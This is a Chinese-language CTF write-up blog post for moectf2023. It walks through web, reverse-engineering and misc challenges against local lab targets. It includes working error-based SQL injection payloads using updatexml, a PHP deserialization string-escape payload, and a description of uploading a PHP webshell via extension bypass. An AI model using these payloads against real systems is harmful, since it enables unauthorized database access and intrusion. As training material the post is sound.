moectf2023

WEB

http

image-20230910233257705

就是按照步骤完成就行了

image-20230910233715138

0x01

将请求类型转变成POST

然后通过get 的方式使用post传参

image-20230910233817746

0x02

使用post的方式传参

0x03

image-20230910233902951

将character修改成admin

0x04

添加下面这一行

image-20230910234020326

0x05

修改字段为

image-20230910234048061

WEB入门指北

打开文件之后发现,在最下面发现

image-20230910234420076

这个是16进制加密,解密就好

image-20230910234453286

彼岸的flag

0x01

简单抓包,然后在发送的数据包中所有moectf就可以找到

image-20230911092017819

0x01

伪造一个用户登录

image-20230911092334905

0x02

登录就好了

image-20230911092450153

记录这个时候的token,使用base64解密如下

image-20230911093159059

将角色改成admin,再经行加密

image-20230911093233173

0x03

构造发送包,使用get,获取flag

注意划横线的地方

image-20230911093410726

gas!gas!gas!

0x01

看这个题目的意思,我们就是需要,在0.5秒,更具提示发送5个包

我们使用python实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import re



url = 'http://127.0.0.1:56182'
control=0
throttle=2
data1 = {'driver':'august','steering_control': control, 'throttle': throttle}

pattern = r'弯道(.*?),(.*?)</font>'

with requests.Session() as session:
for i in range(7): # 不知道为什么6次不行
response = session.post(url, data=data1)
print(response.text)
match = re.search(pattern, response.text)
if match:
if match.group(1) == "向左":
control=1
elif match.group(1)=="向右":
control=-1
else:
control=0

if match.group(2)=="抓地力太小了!":
throttle=0
elif match.group(2)=="抓地力太大了!":
throttle=2
else:
throttle=1
data1 = {'driver':'august','steering_control': control, 'throttle': throttle}
# print(f"output:{match.group(1)},{match.group(2)}\n{control},{throttle}")
else:
print("error")
break

# response = session.post(url, data=data1)
# print(response.text)

然后注意看打印 的信息就好了

image-20230911094415511

moe图床

简单的上传漏洞

image-20230911094723479

0x01

我们先试一下,上传php

image-20230911094754612

并不行,这道题的基本思路就是上传php,通过蚁剑等工具连接

既然php后缀不行,我首先想到的是,后缀绕过法

0x02

直到使用下面这个格式可以

大海捞针

image-20230911104057204

就直接爆破就好了

image-20230911104429696

然后分析出最特殊的哪一个,然后经行搜索

image-20230911104752570

meo图床

image-20230920000027358

0x01

尝试上传图片

image-20230920000553743

上传成功

尝试抓包,看什么情况

image-20230920001213659

夺命十三枪

image-20230920001247132

0x01

我们可以直接访问到

image-20230920001318716

访问看看什么情况

image-20230920001409398

这样的,我们可以分析得到,只要将Spear_Owner=MaoLei就好了

image-20230920001459028

然后怎么构造呢?

0x02

这个函数会缩短和变长,所以我们尝试使用他构造我们的参数

原理如下:

序列化的长度是不会变的,但是我们的函数会改变他的长度,所以如果我们将我们的参数前面边长,当和序列化的长度一致的时候,如果又“};”就会被截断,达到我们传参的目的

因为我们需要将这段换成我们需要的MaoLei,我们只能通过传参的方式将我们的想法传进去,所以这个时候,尝试让前面变长

image-20230920004305889

利用上面的长度,重新构造成新的

di_jiu_qiangdi_shi_san_qiangdi_shi_san_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang”;s:11:”Spear_Owner”;s:6:”MaoLei”;}

image-20230920005005478

出去旅游的新海

0x01

首先对这个分析,直接F12

image-20230921204239086

看到一个php,点开它

image-20230921204334075

可以看到一个这个函数,可以知道他是显错注入

0x02

通过updatexml函数查询,具体的数据

0x03

查询当前数据库的所有的表

1
ip=1&user_agent=1&time=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

0x04

查询secret_of_kokomi表的字段

1
ip=1&user_agent=1&time=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= 'secret_of_kokomi'),0x7e),1)

image-20230921205724283

0x05

开始爆破数据

image-20230921210653591

ip=1&user_agent=1&time=1 and updatexml(1,substring(concat(0x7e,(select group_concat(content,0x7e,id) from secret_of_kokomi)),30,40),1)

完整的flag是

moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}

RE

Reverse入门指北

0x01

将exe文件放入ida然后查看string 即可

base_64

0x01

解压文件发现是一个.pyc 文件,所以我们放入反编译的网站

image-20230911105228213

0x02

可以得出,使用str1,换一个string2码表

image-20230911110209718

Xor

0x01

放入ida之后发现,分析就是一个简单的异或加密

0x02

将enc异或就好了

image-20230911111155805

image-20230911111207923

0x03

image-20230911111320211

UPX!

忘记了可以先看这个

CTF逆向-Upx脱壳攻防世界simple unpack_ctf upx逆向_Tr0e的博客-CSDN博客

0x01

所以我们就可以先放入wsl-kali里进行脱壳,然后,再放入ida里面

image-20230911111955537

0x02

我们通过string找到主要的函数

image-20230911112024117

0x03

这个也是一个异或加密

image-20230911113103047

就是请注意,如果是0x00使用chr的话,可能会只有一个0,所以需要人工的补上

RRRRRc4

由名字可见这个是RC4加密,我们只需要找到对应的密钥和密文就好了

0x01

image-20230911130441753

红色部分是加密部分

蓝色部分是密文,我们将它换成16进制字符串

image-20230911130538113

1
2
3
4
5
6
7
8
9
10
a=[0x1B, 0x9B, 0xFB, 0x19, 0x06, 0x6A, 0xB5, 0x3B, 0x7C, 0xBA, 0x03, 0xF3, 0x91, 0xB8, 0xB6, 0x3D, 0x8A, 0xC1, 0x48, 0x2E, 0x50, 0x11, 0xE7, 0xC7, 0x4F, 0xB1, 0x27, 0xCF, 0xF3, 0xAE, 0x03, 0x09, 0xB2, 0x08, 0xFB, 0xDC, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00]

temp=""

for i in a:
if len(hex(i)[2:])==1 :
temp+='0'
temp+=hex(i)[2:]

print(temp)

0x02

然后将密文放入解密就行了

image-20230911130710023

SMC

可以通过名字可以看出这个是SMC加密

0x01

然后然后IDA分析

image-20230912132154868

这个函数就是加密的函数,点进去看看是怎么加密的

image-20230912132450529

可以看到加密的地址是0x4014d0

然后长度是122

0x02

通过加密的逆操作,得出答案

1
2
3
4
5
6
7
start=0x4014D0
for i in range(122):
patch_byte(start+i,Byte(start+i)^0x66)

start=0x4014d0
for i in range(122):
patch_byte(start+i,Byte(start+i)^0x66)

MISC

Misc 入门指北

下载完了,以后你就可以发现存在密码

image-20230921221532421

image-20230921221503407

打不开的图片1

0x01

看名字发现可能和文件头有关

image-20230921221921193

0x02

在图片的属性里面找到主题,然后解码,就行
image-20231004005924801

打不开的图片2

注意简绍

0x01

首先我们看简绍,牛头不对马嘴

我就想应该是文件头和尾不能匹配

然后发现是png的文件尾

0x02

将文件头改成png格式的

image-20231013085554772

出结果

狗子(1)普通的猫

将文件放进010,然后最后

image-20231013090604573

building_near_lake

0x01

打开在线的环境


moectf2023
https://tsy244.github.io/2023/09/10/CTF比赛记录/moectf2023/
Author
August Rosenberg
Posted on
September 10, 2023
Licensed under